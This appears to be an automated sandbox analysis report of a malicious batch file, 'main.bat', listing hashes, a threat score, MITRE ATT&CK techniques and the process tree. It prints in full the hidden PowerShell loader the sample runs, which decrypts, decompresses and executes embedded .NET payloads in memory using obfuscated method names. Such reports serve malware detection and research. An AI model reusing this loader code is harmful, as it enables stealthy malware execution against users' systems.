580811b722a57857cad8c0482903f904d19c962385c3c38e7b967c54b5233c1e

Analysis

max time kernel
122s
max time network
126s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
14/02/2025, 19:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

main.bat
Size

268KB
MD5

cb5331c7a8f95d9add92fde9234c3791
SHA1

b4b6ed8f891323cf4f5b5dba43e1b5a0a73bb78e
SHA256

580811b722a57857cad8c0482903f904d19c962385c3c38e7b967c54b5233c1e
SHA512

94682657da3a510c4ae035b8b865d98e0b0ebaccbb45296ac12d66ca74f1ddff659b7bbe9f1ffdb74ca66b015da25bc5a46c0153a64d04c2e71f6963f2a1fac6
SSDEEP

6144:xsa0HQ0CuGoSMzMm/y1tyMAFTLis7jFtng/03gCwYR8npGnj:ihFGoSr4UtpARLDnQ0bwAKGnj

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1560	powershell.exe

Deletes itself 1 IoCs

pid	Process
2296	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1560	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1560	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2296 wrote to memory of 1560	2296	cmd.exe	32
PID 2296 wrote to memory of 1560	2296	cmd.exe	32
PID 2296 wrote to memory of 1560	2296	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\main.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0MVusbMHrvBU6XRb0Y0WsigWtxWE3Y3bWkfbGFAFy8c='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9PbDB/LHtSqwHpsZH0y+sg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $GXEDp=New-Object System.IO.MemoryStream(,$param_var); $IvwWu=New-Object System.IO.MemoryStream; $yGbeo=New-Object System.IO.Compression.GZipStream($GXEDp, [IO.Compression.CompressionMode]::Decompress); $yGbeo.CopyTo($IvwWu); $yGbeo.Dispose(); $GXEDp.Dispose(); $IvwWu.Dispose(); $IvwWu.ToArray();}function execute_function($param_var,$param2_var){ $HRJWp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PJZoG=$HRJWp.EntryPoint; $PJZoG.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\main.bat';$hLteg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\main.bat').Split([Environment]::NewLine);foreach ($PHdGi in $hLteg) { if ($PHdGi.StartsWith(':: ')) { $mfwNv=$PHdGi.Substring(3); break; }}$payloads_var=[string[]]$mfwNv.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1560-4-0x000007FEF5B3E000-0x000007FEF5B3F000-memory.dmp

Filesize
4KB

Download
memory/1560-5-0x000000001B250000-0x000000001B532000-memory.dmp

Filesize
2.9MB

Download
memory/1560-6-0x00000000028E0000-0x00000000028E8000-memory.dmp

Filesize
32KB

Download
memory/1560-7-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/1560-8-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/1560-9-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/1560-12-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/1560-11-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/1560-10-0x00000000021AB000-0x0000000002212000-memory.dmp

Filesize
412KB

Download